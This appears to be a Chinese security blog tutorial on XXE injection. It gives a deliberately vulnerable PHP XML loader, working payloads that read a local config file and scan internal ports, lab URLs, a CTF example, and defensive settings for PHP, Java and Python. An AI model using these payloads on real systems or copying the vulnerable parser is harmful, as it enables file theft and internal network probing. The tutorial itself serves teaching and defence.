zoukankan      html  css  js  c++  java
  • 渗透之路基础 -- XXE注入漏洞

    XXE漏洞

    XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

    类似于文件包含漏洞--通过加载XML文件并调用配置文件,来实现注入

    造成漏洞的代码:

    <?php
    $xml=$_GET['x'];
    $data=simplexml_load_file($xml);
    var_dump($data);
    ?>
    

    simplexml_load_file php解析外部实体须在 php << 5.5.38

    文件任意读取

    读取 file.xml 代码如下:

    <?xml version = "1.0" encoding="UTF-8"?>
    <!DOCTYPE ANY [
        <!ENTITY file SYSTEM "file:///c:/config.ini">
    ]>
    <x>&file;</x>
    <!-- 引用外部实体 -->
    

    访问 http://192.168.80.128/test/xml/test.php?x=file.xml

    端口扫描

    读取 port.xml

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root[
    	<!ELEMENT name ANY >
        <!ENTITY xxe SYSTEM "http://127.0.0.1:80">
    ]>
    <root>
    <name>&xxe;</name>
    </root>
    

    访问 http://192.168.80.128/test/xml/test.php?x=port.xml

    没有报错,说明端口存在并且开放

    如果将端口改为不存在的端口 180

    访问 http://192.168.80.128/test/xml/test.php?x=port.xml

    某CTF题

    http://web.jarvisoj.com:9882/

    • 返回信息为 json 格式

    • 然后 burp抓包分析

    • 尝试xml注入,抓包重发

    XML后门的利用

    php动态创建xml,植入后门

    防御XXE攻击

    使用开发语言提供禁用外部实体的方法

    PHP:

    libxml_disable_entity_loader(true);
    

    JAVA:

    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    dbf.setExpandEntityReferences(false);
    

    Python:

    from lxml import etree
    
    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
    

    过滤用户提交的XML数据

    过滤关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM 和 PUBLIC。

    不允许XML中包含有自己定义的DTD

    https://www.cnblogs.com/miyeah/p/4526088.html

    外部引入DTD文件

    编写XML注入代码

    访问 http://192.168.80.128/test/xml/test.php?x=xxe-dtd.xml

    可以读取出文件信息达到文件读取利用

  • 相关阅读:
    [jenkins] 启动错误 Failed to start LSB: Jenkins Automation Server.
    SpringBoot AOP注解式拦截与方法规则拦截
    JS !function 稀奇古怪的写法
    业务场景后端优化
    对称加密和非对称加密
    第三篇 -- 余生,我累了,也懂了
    第二篇 -- 关东野客书籍
    第十一篇 -- 关于防火墙的一些问题
    第三十一篇 -- 学习第六十八天打卡20190911
    第二十九篇 -- UDP和TCP
  • 原文地址:https://www.cnblogs.com/r0ckysec/p/11532013.html
Copyright © 2011-2022 走看看